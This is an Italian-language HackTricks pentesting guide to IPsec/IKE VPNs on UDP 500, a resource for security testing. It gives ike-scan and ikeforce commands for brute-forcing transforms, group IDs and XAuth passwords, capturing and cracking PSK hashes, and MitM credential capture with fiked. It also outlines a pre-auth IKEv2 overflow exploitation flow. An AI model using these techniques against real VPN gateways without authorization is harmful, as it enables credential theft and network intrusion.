500/udp - Pentesting IPsec/IKE VPN

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

IPsec è ampiamente riconosciuto come la tecnologia principale per la protezione delle comunicazioni tra reti (LAN-to-LAN) e dagli utenti remoti verso il gateway di rete (accesso remoto), fungendo da spina dorsale per le soluzioni VPN aziendali.

L’instaurazione di una security association (SA) tra due punti è gestita da IKE, che opera sotto l’egida di ISAKMP, un protocollo progettato per l’autenticazione e lo scambio di chiavi. Questo processo si svolge in diverse fasi:

  • Fase 1: Viene creato un canale sicuro tra due endpoint. Questo avviene mediante l’uso di una Pre-Shared Key (PSK) o di certificati, impiegando either main mode, che comporta tre coppie di messaggi, oppure aggressive mode.
  • Fase 1.5: Sebbene non obbligatoria, questa fase, nota come Extended Authentication Phase, verifica l’identità dell’utente che tenta di connettersi richiedendo nome utente e password.
  • Fase 2: Questa fase è dedicata alla negoziazione dei parametri per la protezione dei dati con ESP e AH. Permette l’uso di algoritmi diversi da quelli della Fase 1 per garantire Perfect Forward Secrecy (PFS), aumentando la sicurezza.

Porta predefinita: 500/udp

Comunemente esposto anche: 4500/udp (NAT Traversal)

Scopri il servizio usando nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Trovare una trasformazione valida

La configurazione IPSec può essere impostata per accettare solo una o poche trasformazioni. Una trasformazione è una combinazione di valori. Ogni trasformazione contiene diversi attributi come DES o 3DES come algoritmo di cifratura, SHA o MD5 come algoritmo di integrità, una pre-shared key come tipo di autenticazione, Diffie-Hellman 1 o 2 come algoritmo di distribuzione delle chiavi e 28800 secondi come durata.

Quindi, la prima cosa da fare è trovare una trasformazione valida, in modo che il server comunichi con te. Per farlo, puoi usare lo strumento ike-scan. Per impostazione predefinita, ike-scan opera in main mode e invia un pacchetto al gateway con un ISAKMP header e una singola proposta con otto trasformazioni al suo interno.

A seconda della risposta puoi ottenere alcune informazioni sull’endpoint:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Come puoi vedere nella risposta precedente, c’è un campo chiamato AUTH con il valore PSK. Ciò significa che la vpn è configurata usando una preshared key (e questo è davvero utile per un pentester).
Il valore dell’ultima riga è anche molto importante:

  • 0 returned handshake; 0 returned notify: Questo significa che il target non è un IPsec gateway.
  • 1 returned handshake; 0 returned notify: Questo significa che il target è configurato per IPsec ed è disposto a eseguire IKE negotiation, e una o più delle transforms che hai proposto sono accettabili (una valid transform sarà mostrata nell’output).
  • 0 returned handshake; 1 returned notify: I VPN gateways rispondono con un notify quando nessuna delle transforms è accettabile (anche se alcuni gateways non lo fanno, nel qual caso vanno effettuate ulteriori analisi e provata una proposta rivista).

In questo caso abbiamo già una trasformazione valida, ma se sei nel terzo caso, allora devi brute-force un po’ per trovare una transformation valida:

Prima di tutto devi creare tutte le possibili trasformazioni:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

E poi esegui brute-force su ciascuna usando ike-scan (questo può richiedere alcuni minuti):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Se il brute-force non ha funzionato, forse il server risponde senza handshakes anche a transforms validi. Allora puoi provare lo stesso brute-force ma usando aggressive mode:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Si spera che venga restituita una trasformazione valida.
Puoi provare lo stesso attacco usando iker.py.
Puoi anche provare a brute force le trasformazioni con ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

Nei DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). Il formato --trans è $Enc,$Hash,$Auth,$DH

Cisco indica di evitare l’uso dei DH groups 1 e 2 perché non sono sufficientemente sicuri. Gli esperti ritengono che i paesi con molte risorse possono facilmente rompere la crittografia dei dati che utilizzano questi gruppi deboli. Questo avviene mediante un metodo speciale che li prepara a decifrare i codici rapidamente. Anche se richiede ingenti investimenti per essere predisposto, permette a questi stati potenti di leggere i dati crittografati in tempo reale se viene usato un gruppo non robusto (come 1.024 bit o inferiore).

Server fingerprinting

Puoi quindi usare ike-scan per provare a scoprire il vendor del dispositivo. Lo strumento invia una proposta iniziale e smette di fare replay. Poi analizzerà la differenza di tempo tra i messaggi ricevuti dal server e lo schema di risposta corrispondente; il pentester può così eseguire con successo il fingerprinting del vendor del gateway VPN. Inoltre, alcuni server VPN useranno l’opzionale Vendor ID (VID) payload con IKE.

Specifica la trasformazione valida se necessario (usando –trans)

Se IKE scopre quale è il vendor lo stamperà:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Questo può essere ottenuto anche con lo script nmap ike-version

Specifico per IKEv2: WatchGuard Vendor ID version fingerprinting

Alcuni demoni IKEv2 includono Vendor ID payload non standard nella risposta IKE_SA_INIT. WatchGuard Fireware OS codifica la versione/build dell’appliance direttamente nel VID, consentendo il fingerprinting pre-auth con un singolo pacchetto.

  • Trasporto: UDP/500 (e UDP/4500 per NAT-T)
  • Pacchetto: la risposta IKE_SA_INIT contiene uno o più Vendor ID payload
  • Formato WatchGuard: hash di 32 byte seguito da base64 che decodifica, ad es., VN=12.11.3 BN=719894

Esempio di byte grezzi da un payload VID di WatchGuard (gli ultimi 12 byte sono base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

Estrazione rapida in una shell quando hai il tail base64:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Notes

  • Questo non fa parte di nessun RFC IKEv2. Trattalo come una peculiarità del vendor per una rapida valutazione delle versioni di Fireware OS esposte/vulnerabili.
  • È necessario soltanto ottenere una risposta IKE_SA_INIT; non è richiesta autenticazione.

Trovare l’ID corretto (nome del gruppo)

Per poter catturare lo hash ti serve una trasformazione valida che supporti Aggressive mode e l’ID corretto (nome del gruppo). Probabilmente non conoscerai il nome del gruppo valido, quindi dovrai eseguire un brute-force.\ Per farlo, ti raccomando 2 metodi:

Bruteforcing ID with ike-scan

First of all try to make a request with a fake ID trying to gather the hash (“-P”):

ike-scan -P -M -A -n fakeID <IP>

Se non viene restituito alcun hash, allora probabilmente questo metodo di brute forcing funzionerà. Se viene restituito qualche hash, significa che verrà inviato indietro un hash falso per un ID falso, quindi questo metodo non sarà affidabile per effettuare il brute-force dell’ID. Per esempio, potrebbe essere restituito un hash falso (questo accade nelle versioni moderne):

Ma se, come ho detto, non viene restituito alcun hash, allora dovresti provare a brute-force common group names usando ike-scan.

Questo script proverà a brute-forceare gli ID possibili e restituirà gli ID per i quali viene restituita una handshake valida (questo sarà un group name valido).

Se hai scoperto una specifica trasformazione aggiungila nel comando ike-scan. E se ne hai scoperte diverse, sentiti libero di aggiungere un nuovo ciclo per provarle tutte (dovresti provarle tutte finché una non funziona correttamente).

You can use the dictionary of ikeforce or the one in seclists of common group names to brute-force them:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

Bruteforcing ID con Iker

iker.py usa anche ike-scan per bruteforce dei possibili nomi di gruppo. Segue il proprio metodo per trovare un ID valido basandosi sull’output di ike-scan.

Bruteforcing ID con ikeforce

ikeforce.py è uno strumento che può essere usato anche per brute force degli ID. Questo tool proverà a sfruttare diverse vulnerabilità che potrebbero essere usate per distinguere tra un ID valido e uno non valido (potrebbe avere falsi positivi e falsi negativi, per questo preferisco usare il metodo ike-scan se possibile).

Per default ikeforce invierà all’inizio alcuni ID casuali per verificare il comportamento del server e determinare la tattica da usare.

  • Il primo metodo è fare brute-force dei nomi di gruppo cercando l’informazione Dead Peer Detection DPD dei sistemi Cisco (questa informazione viene restituita dal server solo se il nome del gruppo è corretto).
  • Il secondo metodo disponibile verifica il numero di risposte inviate per ogni tentativo perché a volte vengono inviati più pacchetti quando viene utilizzato l’ID corretto.
  • Il terzo metodo consiste nel cercare “INVALID-ID-INFORMATION” nella risposta a ID errati.
  • Infine, se il server non risponde a questi controlli, ikeforce tenterà di fare brute force sul server e verificare se, quando l’ID corretto viene inviato, il server risponde con qualche pacchetto.
    Ovviamente, l’obiettivo del brute forcing dell’ID è ottenere la PSK quando si dispone di un ID valido. Poi, con l’ID e la PSK dovrai brute forceare l’XAUTH (se è abilitato).

Se hai scoperto una trasformazione specifica aggiungila nel comando ikeforce. E se hai scoperto diverse trasformazioni, sentiti libero di aggiungere un nuovo loop per provarle tutte (dovresti provarle tutte finché una non funziona correttamente).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Tratto dal libro Network Security Assessment: Know Your Network): È anche possibile ottenere valid usernames sniffing la connessione tra il VPN client e il server, poiché il primo pacchetto in aggressive mode contenente il client ID viene inviato in chiaro

Capturing & cracking the hash

Infine, se hai trovato una valid transformation e il group name e se il aggressive mode is allowed, allora puoi molto facilmente ottenere il crackable hash:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

L’hash verrà salvato dentro hash.txt.

Puoi usare psk-crack, john (usando ikescan2john.py) e hashcat per effettuare il crack dell’hash:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE combinato con una Pre-Shared Key (PSK) è comunemente impiegato per scopi di autenticazione di gruppo. Questo metodo è integrato da XAuth (Extended Authentication), che introduce un ulteriore livello di autenticazione utente. Tale autenticazione si basa tipicamente su servizi come Microsoft Active Directory, RADIUS, o sistemi comparabili.

Nel passaggio a IKEv2, si osserva un cambiamento notevole in cui EAP (Extensible Authentication Protocol) viene utilizzato al posto di XAuth per autenticare gli utenti. Questo cambiamento sottolinea un’evoluzione nelle pratiche di autenticazione all’interno dei protocolli di comunicazione sicura.

MitM sulla rete locale per catturare le credenziali

Quindi puoi catturare i dati del login usando fiked e vedere se esiste qualche username di default (È necessario reindirizzare il traffico IKE a fiked per lo sniffing, cosa che può essere fatta con l’aiuto di ARP spoofing, more info). Fiked agirà come endpoint VPN e catturerà le credenziali XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Inoltre, usando IPSec prova a effettuare un attacco MitM e bloccare tutto il traffico verso la porta 500; se il tunnel IPSec non può essere stabilito, potrebbe accadere che il traffico venga inviato in chiaro.

Brute-forcing XAUTH username e password con ikeforce

Per eseguire un brute force sulla XAUTH (quando conosci un valido group name id e il psk) puoi usare uno username o una lista di username e una lista di password:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

In questo modo, ikeforce proverà a connettersi usando ogni combinazione di username:password.

Se hai trovato uno o più transforms validi, usali come nei passaggi precedenti.

Autenticazione con una VPN IPSEC

In Kali, VPNC è utilizzato per stabilire tunnel IPsec. I profiles devono trovarsi nella directory /etc/vpnc/. Puoi avviare questi profili usando il comando vpnc.

I comandi e le configurazioni seguenti illustrano il processo di configurazione di una connessione VPN con VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In questa configurazione:

  • Sostituire [VPN_GATEWAY_IP] con l’indirizzo IP reale del gateway VPN.
  • Sostituire [VPN_CONNECTION_ID] con l’identificatore della connessione VPN.
  • Sostituire [VPN_GROUP_SECRET] con il segreto di gruppo della VPN.
  • Sostituire [VPN_USERNAME] e [VPN_PASSWORD] con le credenziali di autenticazione della VPN.
  • [PID] simboleggia il process ID che verrà assegnato quando vpnc viene avviato.

Assicurarsi di usare valori reali e sicuri per sostituire i segnaposto durante la configurazione della VPN.

Note su IKEv2 exploitation: pre-auth IDi/CERT processing bugs

Gli appliance VPN moderni espongono spesso IKEv2 su UDP/500 (e UDP/4500 per NAT-T). Una superficie di attacco comune pre-autenticazione è il parsing dei payload Identification (IDi) e Certificate durante IKE_SA_AUTH.

Flusso di exploitation ad alto livello quando esiste un parser IKEv2 vulnerabile:

  • Inviare un IKE_SA_INIT valido per negoziare i transforms e completare il Diffie–Hellman.
  • Proseguire con IKE_SA_AUTH contenente un IDi che scatena il bug (es., un Identification sovradimensionato copiato in un buffer di stack a dimensione fissa prima della validazione del certificato).
  • La corruzione di memoria risultante può permettere il controllo di saved-register e return-address.
  • Con NX abilitato ma altre mitigazioni assenti (no PIE/canaries), costruire una ROP chain per chiamare mprotect su una pagina di stack e poi pivotare l’esecuzione verso shellcode iniettato o verso un interprete residente (es., /usr/bin/python3) se /bin/sh non è disponibile.

Esempi di default transforms osservati su alcuni appliance IKEv2 (WatchGuard Fireware OS 12.11.3):

  • SHA2-256–AES(256-bit) with DH Group 14
  • SHA1–AES(256-bit) with DH Group 5
  • SHA1–AES(256-bit) with DH Group 2
  • SHA1–3DES with DH Group 2

Suggerimenti pratici

  • Mirare sia UDP/500 che UDP/4500; i server NAT-T possono rispondere solo su 4500.
  • Aumentare il buffer di ricezione e i timeout per gli scanner basati su UDP per evitare perdita di pacchetti.
  • Se il servizio espone Vendor IDs personalizzati (vedi sezione sopra), usarli per fingerprintare rapidamente le versioni vulnerabili prima di inviare traffico exploit.

Reference Material

Shodan

  • port:500 IKE
  • port:4500 "UDP"
  • udp port:500,4500 "WatchGuard"

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks